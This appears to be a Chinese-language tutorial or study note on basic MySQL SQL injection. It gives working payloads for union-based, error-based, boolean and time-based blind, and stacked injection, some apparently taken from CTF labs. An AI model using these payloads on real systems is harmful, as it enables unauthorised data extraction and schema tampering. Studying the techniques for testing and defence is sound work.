现在来总结一下基本sql注入,有个思路,以后再谈高级注入技巧和怎么绕过waf.

SQL注入分类

  1. 基于联合查询
  2. 基于错误回显
  3. 盲注

基本注入思路:

1. 先判断是否存在注入,字符型还是数字型

?id=1' and 1=2#?id=1' and 1=1# 判断是否存在注入,是字符型还是数字型。

2.猜查询语句的字段数

1' order by 3# 通过后面的数字是否报错展现出字段数,方便后面构造注入语句

3. 获取数据库

1' union select 1,database()# 同样的,也可以获取以下信息

  • <span style="font-family: georgia, palatino, serif;">user()</span>:当前数据库用户
  • database():当前数据库名
  • version():当前使用的数据库版本
  • @@datadir:数据库存储数据路径

4. 获取表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

mysql中,数据库表,列的信息都储存在information_schema 中

5. 获取列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name =XXX#

后面就可以随意查询数据库数据啦。

盲注

  1. 基于布尔SQL盲注
  2. 基于报错SQL盲注
  3. 基于时间SQL盲注

1. 基于布尔SQL盲注

函数讲解:mid(),mid(str,a,b)意味取str从a位置起b个字符
substr() = substring()=mid()
left(), left(string,n)意为取string左边n个字符, left(database(),2)='ab'
ascii()=ord(),获得字符的ascii值
regexp, 匹配正则表达式
like
playload:
  • left(database(),1)&gt;'s'
  • ascii(substr(select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1)) = 97 --+
  • ascii(substr(database(),1,1))=98
  • select user() regexp '^root'
  • select * from users where id=1 and 1=(if((user() regexp '^r'),1,0))
  • select user() like '^root'

2. 基于报错的SQL盲注

基于报错的sql注入利用了MySQL的第8652号bug ,Bug 8652的主要内容就是在使用group by 对一些rand()函数进行操作时会返回duplicate key 错误,而这个错误将会披露关键信息,如"Duplicate entry '####' for key 1"

函数讲解:

  • count(*)计数,包括全部字段
  • rand()产生随机数
  • concat()字符串连接
  • floor()向下取整
playload:

union select 1,count(*),concat(0x23,0x23,(想要查询的语句),0x23,0x23,floor(rand(0)*2))a from XXX group by a --+

例如:

1' union Select 1,count(*),concat(0x23,0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a %23

3. 基于时间的SQL盲注

if(ascii(substr(database(),1,1))>115,0,sleep(10))%23  //if判断,条件为假时执行sleep
union select if(substring(current,1,1)=char(119),benchmark(50000000,encode('MSG','by 5 seconds')),null) from (select database() as current) as tb1;

BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()

堆叠注入

预处理prepare

PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL  语句

sql语句也可以通过变量进行传递

SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句
PREPARE hacker from 0x324234234234;EXECUTE hacker;#
PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#

rename

rename table words to words1;rename table `flag` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

Handle

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

简单基础就总结到这里了,sql注入还有很多内容,待我慢慢来研究。